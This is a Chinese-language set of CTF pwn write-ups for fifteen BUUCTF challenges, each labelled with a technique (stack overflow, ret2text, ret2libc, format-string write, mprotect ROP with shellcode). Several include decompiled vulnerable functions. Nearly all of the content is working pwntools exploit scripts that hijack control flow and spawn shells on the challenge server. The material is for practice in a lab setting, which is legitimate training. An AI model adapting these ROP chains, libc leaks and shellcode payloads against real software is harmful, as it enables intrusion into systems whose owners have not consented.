1 rip
经典栈溢出漏洞。
from pwn import *
p = remote('node4.buuoj.cn', 27181)
payload = b'a' * 23 + p64(0x40118A)
p.sendline(payload)
p.interactive()
2 warmup_csaw_2016
ret2system。
from pwn import *
p = remote('node4.buuoj.cn', 28045)
system_addr = 0x40060D
payload = b'a'*72 + p64(system_addr)
p.sendline(payload)
p.interactive()
3 ciscn_2019_n_1
![chrome_qUdw2B5G1x.png](https://img-blog.csdnimg.cn/img_convert/ab7fb320154be630c8242b68b12cb714.png#clientId=u96d536f2-f923-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=209&id=ub1b8b893&margin=[object Object]&name=chrome_qUdw2B5G1x.png&originHeight=314&originWidth=1211&originalType=binary&ratio=1&rotation=0&showTitle=false&size=10516&status=done&style=none&taskId=uf16a12c7-6967-46d9-9227-b461ab1226e&title=&width=807.3333333333334)
int func()
{
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]
v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
return system("cat /flag");
else
return puts("Its value should be 11.28125");
}
通过栈溢出覆盖v2的地址,把v2的值编程11.28125.
![ida64_MYxnVLZMDQ.png](https://img-blog.csdnimg.cn/img_convert/8f387b0df86ba9d72226910c2976aeb9.png#clientId=u96d536f2-f923-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=204&id=u2f46ca4e&margin=[object Object]&name=ida64_MYxnVLZMDQ.png&originHeight=306&originWidth=643&originalType=binary&ratio=1&rotation=0&showTitle=false&size=20651&status=done&style=none&taskId=ue6a3eaee-c520-4158-9945-c964ecdad64&title=&width=428.6666666666667)
点进去。
![ida64_5QjMV8hwrW.png](https://img-blog.csdnimg.cn/img_convert/7e96fa7740abfc23e6cf55b7b02ab8c4.png#clientId=u96d536f2-f923-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=108&id=u65275c2f&margin=[object Object]&name=ida64_5QjMV8hwrW.png&originHeight=162&originWidth=679&originalType=binary&ratio=1&rotation=0&showTitle=false&size=12520&status=done&style=none&taskId=u1c62dce0-ef7c-425d-8ed8-0fb60d35a9a&title=&width=452.6666666666667)
最后的exp为
from pwn import *
p=remote('node4.buuoj.cn',29429)
payload=b"A"*44+p64(0x41348000)
p.sendline(payload)
p.interactive()
4 jarvisoj_level0
返回到后门函数。
from pwn import *
day3 = remote('node4.buuoj.cn',29957)
# day3 = process('./level0')
system_addr = 0x00400596
payload = b"a" * 0x80 + b'a' * 0x8 + p64(system_addr)
day3.sendline(payload)
day3.interactive()
5 [第五空间2019 决赛]PWN5
格式化字符串漏洞。
int __cdecl main(int a1)
{
unsigned int v1; // eax
int result; // eax
int fd; // [esp+0h] [ebp-84h]
char nptr[16]; // [esp+4h] [ebp-80h] BYREF
char buf[100]; // [esp+14h] [ebp-70h] BYREF
unsigned int v6; // [esp+78h] [ebp-Ch]
int *v7; // [esp+7Ch] [ebp-8h]
v7 = &a1;
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &dword_804C044, 4u);
printf("your name:");
read(0, buf, 0x63u);
printf("Hello,");
printf(buf);
printf("your passwd:");
read(0, nptr, 0xFu);
if ( atoi(nptr) == dword_804C044 )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
if ( __readgsdword(0x14u) != v6 )
sub_80493D0();
return result;
}
通过格式化字符串漏洞覆盖 dword_804C044 地址上的内容,然后再将已知的内容发送给程序。
from pwn import *
day3 = remote('node4.buuoj.cn',25786)
# day3 = process('./pwn')
bss = 0x0804C044
payload = b"AAAA%16$n%17$n%18$n%19$n" + p32(bss) \
+ p32(bss+1) + p32(bss+2) + p32(bss+3)
day3.sendline(payload)
day3.sendline(str(0x04040404))
day3.interactive()
6 ciscn_2019_c_1
ret2libc
寻找传参指令。
ROPgadget --binary ciscn_2019_c_1 |grep “pop rdi”
寻找ret,确保堆栈平衡。
ROPgadget --binary ciscn_2019_c_1 |grep ret
from pwn import *
from LibcSearcher import LibcSearcher
day3 = remote('node4.buuoj.cn',25593)
# day3 = process('./ciscn_2019_c_1')
elf = ELF('./ciscn_2019_c_1')
main_addr = 0x400B28
pop_rdi_ret = 0x0000000000400c83
ret = 0x00000000004006b9
fakeebp = b'b' * 7
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
# select 1
day3.sendlineafter('choice!\n','1')
# show puts got addr
payload = b'\0'+b'a'* 0x50 + fakeebp + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
day3.sendlineafter('encrypted\n',payload)
day3.recvline()# Ciphertext\n
day3.recvline()# \n
puts_addr=u64(day3.recvuntil('\n')[:-1].ljust(8,b'\0'))
print (hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')
day3.sendlineafter('choice!\n','1')
payload = b'\0' + b'a' * 0x50 + fakeebp + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
day3.sendlineafter('encrypted\n',payload)
day3.interactive()
7 ciscn_2019_n_8
只需要使得数组的第十四个数为17即可。
from pwn import *
context(log_level="debug",arch="i386")
day3 = remote('node4.buuoj.cn',26062)
# day3 = process('./ciscn_2019_n_8')
payload = flat(["aaaa"*13,0x11])
day3.sendline(payload)
day3.interactive()
8 jarvisoj_level2
ret2text.
from pwn import*
day3 = remote('node4.buuoj.cn',25451)
bin_sh = 0x804a024
system_addr = 0x8048320
fakeword = 0x1
payload=flat(['a'*(0x88+4), system_addr, fakeword, bin_sh])
day3.sendline(payload)
day3.interactive()
9 bjdctf_2020_babystack
from pwn import*
day3 = remote('node4.buuoj.cn',28428)
system_addr = 0x4006E6
day3.recvuntil('name:\n')
day3.sendline(b"-1")
day3.recvuntil('name?\n')
payload = b'a'*(0x10+8) + p64(system_addr)
day3.sendline(payload)
day3.interactive()
10 [OGeek2019]babyrop
本题要点在于修改溢出值。
发送四次payload。
from pwn import *
#attack
r = remote("node4.buuoj.cn",29730)
# r = process('./pwn')
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")#题目下面那个链接里下载
#params
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr = 0x8048825
#attack1
payload = b'\x00' + b'M'*6 + b'\xff'
r.sendline(payload)
#attack2
payload_1 = b'M'*(0xE7+4) + p32(puts_plt) + p32(main_addr) + p32(puts_got)
r.sendline(payload_1)
r.recvline()
puts_addr = u32(r.recv(4))
print("puts_addr: " + hex(puts_addr))
#attack3
r.sendline(payload)
#libc
base_addr = puts_addr - libc.symbols['puts']
system_addr = base_addr + libc.symbols['system']
bin_sh_addr = base_addr + next(libc.search(b'/bin/sh'))
print("system_addr: " + hex(system_addr))
print("bin_sh_addr: " + hex(bin_sh_addr))
#attack4
payload_2 = b'M'*(0xE7+4) + p32(system_addr) + b'M'*4 +p32(bin_sh_addr)
r.sendline(payload_2)
r.interactive()
11 get_started_3dsctf_2016
第一种做法:栈溢出到get_flag函数,同时返回地址改为exit。
#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
io = remote('node4.buuoj.cn',25848)
#io = process('./get_started_3dsctf_2016')
elf = ELF('./get_started_3dsctf_2016')
get_flag = 0x80489A0
main = 0x8048A20
exit = 0x0804E6A0
payload = b'A' * 56 + p32(get_flag) + p32(exit) + p32(0x308CD64F) + p32(0x195719D1)
io.sendline(payload)
print(io.recv())
io.interactive()
第二种做法:修改内存可执行权限。
from pwn import *
context(os="linux", arch="i386", log_level="debug")
q = process("./get_started_3dsctf_2016")
elf = ELF("./get_started_3dsctf_2016")
mprotect_addr = elf.symbols["mprotect"]
read_addr = elf.symbols["read"]
# 内存权限改变的起始地址,也是shellcode写入的起始地址
start_addr = 0x80ea000
# 执行三个弹栈操作的汇编代码起始位置
pop_3_ret = 0x0804f460
payload = cyclic(0x38)
payload += p32(mprotect_addr)
payload += p32(pop_3_ret)
payload += p32(start_addr)
payload += p32(0x1000)
payload += p32(0x7) # 0x7 == 可读可写可执行
payload += p32(read_addr)
payload += p32(pop_3_ret)
payload += p32(0)
payload += p32(start_addr)
payload += p32(0x100)
payload += p32(start_addr)
shellcode = asm(shellcraft.sh())
q.sendline(payload)
sleep(0.1)
q.sendline(shellcode)
q.interactive()
12 jarvisoj_level2_x64
与level2的区别在于本题是通过寄存器传参。
from pwn import *
day3 = process('./level2_x64')
# day3 = remote('node4.buuoj.cn',26834)
system_addr = 0x4004c0
binsh_addr = 0x600A90
pop_rdi_ret = 0x4006b3
ret = 0x00000000004004a1
payload = b'a' * 0x88 + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
day3.sendline(payload)
day3.interactive()
13 [HarekazeCTF2019]baby_rop
from pwn import *
# day3 = process('./babyrop')
day3 = remote('node4.buuoj.cn',27768)
system_addr = 0x400490
binsh_addr = 0x601048
pop_rdi_ret = 0x400683
ret = 0x400479
payload = b'a' * 0x18 + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
day3.sendline(payload)
day3.interactive()
14 ciscn_2019_en_2
ret2libc.
from pwn import *
from LibcSearcher import *
# day3 = process('./ciscn_2019_en_2')
day3 = remote('node4.buuoj.cn', 27687)
elf = ELF('./ciscn_2019_en_2')
main = 0x400B28
pop_rdi = 0x400c83
ret = 0x4006b9
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
day3.sendlineafter('Input your choice!\n','1')
payload = b'\0' + b'a' * 0x57 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
day3.sendlineafter('Input your Plaintext to be encrypted\n',payload)
day3.recvline() #将下面两个puts跳过
day3.recvline()
puts_addr=u64(day3.recvuntil('\n')[:-1].ljust(8,b'\0'))
libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump("puts") #计算偏移
sys_addr = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")
day3.sendlineafter('Input your choice!\n','1')
payload = b'\0' + b'a' * 0x57 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(sys_addr)
day3.sendlineafter('Input your Plaintext to be encrypted\n',payload)
day3.interactive()
15 not_the_same_3dsctf_2016
from pwn import *
day3 = remote("node4.buuoj.cn",26579)
# day3 = process("./not_the_same_3dsctf_2016")
elf = ELF("./not_the_same_3dsctf_2016")
flag_func_addr = 0x80489A0 #elf.symbols['get_secret']
flag_addr = 0x80ECA2D
payload = b'a' * 0x2D + p32(flag_func_addr) + p32(elf.sym['write']) + b'a' * 4 + p32(1) + p32(flag_addr) + p32(45)
day3.sendline(payload)
day3.interactive()